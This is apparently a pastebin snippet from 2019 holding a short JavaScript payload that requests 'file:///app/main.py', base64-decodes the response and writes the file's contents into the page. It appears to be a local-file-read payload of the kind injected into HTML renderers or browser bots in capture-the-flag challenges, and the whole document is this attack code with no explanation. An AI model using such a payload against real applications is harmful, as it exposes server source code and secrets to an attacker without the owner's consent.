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Apr 22nd, 2019
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  1. function toDataURL(url, callback) {
  2. var xhr = new XMLHttpRequest();
  3. xhr.onload = function() {
  4. var reader = new FileReader();
  5. reader.onloadend = function() {
  6. callback(reader.result);
  7. }
  8. reader.readAsDataURL(xhr.response);
  9. };
  10. xhr.open('GET', url);
  11. xhr.responseType = 'blob';
  12. xhr.send();
  13. }
  14.  
  15. toDataURL('file:///app/main.py', function(dataUrl) {
  16. document.write('RESULT:',atob(dataUrl.split(",")[1]))
  17. })
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